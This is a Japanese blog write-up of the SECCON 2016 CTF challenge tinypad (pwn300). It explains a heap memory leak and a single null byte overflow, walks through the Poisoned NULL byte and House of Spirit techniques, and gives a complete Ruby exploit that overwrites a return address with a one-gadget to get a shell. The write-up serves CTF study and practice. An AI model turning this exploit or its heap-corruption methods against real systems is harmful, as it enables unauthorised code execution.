読者です 読者をやめる 読者になる 読者になる

Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

SECCON 2016 Online CTF tinypad(pwn300)

想定解ではない解き方から,いろいろ学ぶ会.

Info

  • 64bitのnot strippedでdynamically linkedなバイナリ
  • Full RELRO,Canary,Nx enabled
  • libcは配布

Analysis

メモ管理系のバイナリで,4つのメモを以下のような構造体で管理しており,グローバル変数として存在するのだが,なぜかこの構造体の前に空き領域がある感じに(要は構造体の構造体)なっており,以下の構造体が実際にあるのは0x602140だった.

struct {
    size_t size;
    char *memo;
}

また,このメモに対して以下のコマンドを実行することができる.

  • A: サイズを入力して,mallocを呼び,そのサイズ分そこに書き込む
    • サイズは,どんな値でも入力できるが,$ 0 < x < 0x100 $を満たさないと,変更される
  • D: インデックスを入力して,そのmemoをfreeする
  • E: インデックスを入力して,そのmemoを書き換える
  • Q: コマンド実行用のループから抜けるだけ

脆弱性としては,毎回4つのメモ内容を表示する仕様になっており,memoの追加削除の有無にかかわらず表示しているため,free済みchunkなどをleakすることができてしまうという脆弱性がある.
もう1つは,入力関数にsingle null byte overflowがある.

Exploit

まず,どうやってHeapやLibcのアドレスを上記の脆弱性を使って行うかだが,まず4つのメモを追加する.例えば,3番目,1番目の順番にメモを削除する.そうすると,fastbinsに入らないchunkはいったんunsortedbinに追加されるわけなので(ただ,後ろのchunkがfree済みだっりするとconsolidateが走りまとめようとしてくるので,今回のケースで言えば2番目と4番目のchunkはそれを防ぐためといえる),そのfreed chunkのfdやbkは他のchunkであったり,top chunkを指すようになる.具体的に言えば,1番目のfreed chunkのfdは3番目のfreed chunkを指しており,3番目のfreed chunkのfdはtop chunkを指すようになる.そうすると,削除済みのメモにかかわらず表示する仕様上,ちょうどdata領域もといfreed chunkのfdがリークするので,topとheapのアドレスが手に入り,オフセットを用いて計算することで,ヒープベースlibcベースが算出できる.また,このリークに使ったchunkが後続する攻撃に影響すると嫌なので,とりあえず2番目と4番目のメモも削除した.

次に,もう一つの脆弱性であるsingle null byte overflowを使って任意の場所への書き込みを行う.要は,Poisoned NULL byteのテクニックを実践してみる. 確保したchunkのdata領域に書き込む時に,この脆弱性で,0x00があふれるというのは,隣接する次のchunkのsizeの末尾1byteを0x00に変えること意味する.このsizeの末尾1byteというのはPREV_INUSEを意味し,前のchunkが使用しているかどうかの判定などに使われる.またsizeの末尾1byteが上書きできるということは,その前のprev_sizeも書き換えが可能である. そこで,今回はオーバーフローをしつつfake chunkを作るということをする.例えばmalloc(1)を呼ぶと,sizeは0x20になるので,これと同じ最小のfake chunkを作る.そこで,sizeを0x21,fd,bkを共にfake chunk自身に向け,オーバーフローした方のprev_sizeを0x20にして,sizeの末尾1byteを0x00に変える.そして,2番目のchunkをfreeすると,PREV_INUSEなどから直前のchunkはfree済みとみなされて,1つの空き領域としてまとめられる.そうすると,本来Aのdata領域であったところの一部が空き領域となってしまう
次に,fastbinsに入るような小さなchunkを確保し,最初のchunkをfreeして,次にこのchunkをfreeする.そして再度最初のchunkを最初と同じサイズで確保すると,fastbinsに入っているfreed chunkを含んだ範囲をdata領域として確保されることになる.つまり,オフセットを計算しておけば,freed chunkのfdなどを書き換えることが可能になる.
freed chunkのfdがいじれるので,sizeの整合性が取れるところを指すようにしたりすることで House of Spiritが可能となる.fdなどを書き換えたfreed chunkをfreeして,fastbinsに突っ込み,その後同サイズのmallocを呼び,さらにもう一度呼べば,それは書き換えたfdが指すアドレスを返すので,意図的な箇所に書き込みが可能となる.(今回は,4番目のメモの手前を指すようにした.なので,予め4つ目のメモのサイズ0x31を合わせておいた).
そうすると,メモの内容表示の部分で今度は,そのアドレスの中身をリークすることができる.今回はセキュリティ機構が厳しかったので__libc_argvからスタックのアドレスをリークして,edit処理(正確に言えば,2番目のメモのポインタが指すのが,4番目のメモのアドレスなので2番目で書き込みたいアドレスを入力すると,4番目のメモのポインタの指す先がそのアドレスになるので書き込みが可能になる)で,main関数のreturn addressを上書きする方針を取った.よって,return addressをone gadgetに飛ばしてシェルを取った.

#!/usr/bin/env ruby
# coding: utf-8

require 'pwnlib'
require 'fsalib'
require 'one_gadget'
include Shellcode

host = 'localhost'
port = 8888


def add(t, len, data)
  puts "[!] Add memo"
  t.sendline("A")
  t.recv_until(">>>")
  t.sendline(len.to_s)
  t.recv_until(">>>")
  t.sendline(data)
  t.recv_until(">>>")
end

def edit(t, id, data)
  puts "[!] Edit memo"
  t.sendline("E")
  t.recv_until(">>>")
  t.sendline(id.to_s)
  t.recv_until(">>>")
  t.sendline(data)
  t.recv_until(">>>")
  t.sendline("Y")
  t.recv_until(">>>")
end

def del(t, id)
  puts "[!] Delete memo"
  t.sendline("D")
  t.recv_until(">>>")
  t.sendline(id.to_s)
end

PwnTube.open(host, port) do |t|

  tinypad_addr = 0x602140
  libc_argv_offset = 0x3c82f8
  onegadget_offset = OneGadget.gadgets(file: '/lib/x86_64-linux-gnu/libc.so.6')[2]
  
  # Leak heap and libc addr
  t.recv_until(">>>")
  add(t, 0x100, "A1")
  add(t, 0x100, "B1")
  add(t, 0x100, "C1")
  add(t, 0x100, "D1")
  del(t, 3)
  t.recv_until(">>>")
  del(t, 1)
  data = t.recv_capture(/INDEX: 1\n # CONTENT: (.+)\n\n\n/)
  heap_addr = u64(data[0].ljust(8, "\x00"))[0]
  data = t.recv_capture(/INDEX: 3\n # CONTENT: (.+)\n\n\n/)
  top_addr = u64(data[0].ljust(8, "\x00"))[0]

  heap_base = heap_addr - 0x220
  libc_base = top_addr - 0x3c3b78

  puts "[+] heap base: 0x%x" % heap_base
  puts "[+] libc base: 0x%x" % libc_base

  t.recv_until(">>>")
  del(t, 2)
  
  t.recv_until(">>>")
  del(t, 4)
  t.recv_until(">>>")
  
  add(t, 0xf8, "A2")
  add(t, 0xf8, "B2")
  add(t, 0xf8, "C2")
  add(t, 0x31, "D2") # 後に,fastbinsでsizeの整合性を取る
  

  del(t, 1)
  t.recv_until(">>>")

  # 最小のfake chunkを作る
  # fake chunk
  # prev_size: 0
  # size: 0x21
  # fd: fake chunk
  # bk: fake chunk
  
  fake_chunk_offset = 0xe0
  fake_chunk_addr = heap_base + fake_chunk_offset
  payload = ""
  payload << "@" * 0xd0
  payload << p64(0, 0x21)
  payload << p64(fake_chunk_addr, fake_chunk_addr)
  payload << p64(0x20)
  payload = payload.rjust(0xf8, "@")
  add(t, 0xf8, payload)

  # consolidate
  del(t, 2)

  # fastbinのchunkを作る
  payload = ""
  payload << "@" * 24
  payload << p64(0x121)
  add(t, 0x20, payload)

  # 最初と上記のchunkをfreeする
  del(t, 1)
  t.recv_until(">>>")
  del(t, 2)
  t.recv_until(">>>")

  # 最初と同じサイズで確保することで,freed chunkを上書き
  payload = "@" * 0xd0
  payload << p64(0, 0x31) # prev_size, size
  payload << p64(tinypad_addr + 0x28) # fd: 3番目のポインタのアドレス
  add(t, 0xf8, payload)
  
  del(t, 1)
  t.recv_until(">>>")
  
  # fastbinsからchunkを返す
  add(t, 0x28, "A3")

  # 書き換えられたfdが指す先を返す
  add(t, 0x28, p64(libc_base + libc_argv_offset))
  stack_ddr = u64(t.recv_capture(/INDEX: 4\n # CONTENT: (.+)\n\n\n/)[0].ljust(8, "\x00"))[0]
  
  stack_offset = 0xe0
  edit(t, 2, p64(stack_ddr - stack_offset))

  edit(t, 4, p64(libc_base + onegadget_offset))

  t.sendline("Q")

  t.recv_until(">>>")

  t.shell
end

以下が実行結果である.

f:id:encry1024:20170404222334p:plain

感想

いろいろなHeap周りのテクニックを学んできたが,あまりヒープのレイアウトを意識して学んだり使ったことがなかった.なので,今回のようにちゃんと「現在どういうヒープのレイアウトになっているのか」,「どこにどんなchunkがあるのか」等を意識して考えることはとても勉強になった.特にPoisoned null byteのテクニックは学んだだけで利用したことはなかったので,実際に利用してみて,たった「1byteの0x00のOverflowがここまで攻撃に起因してしまうのか・・」というCTFとはまた違った感情を抱いたりした.

資料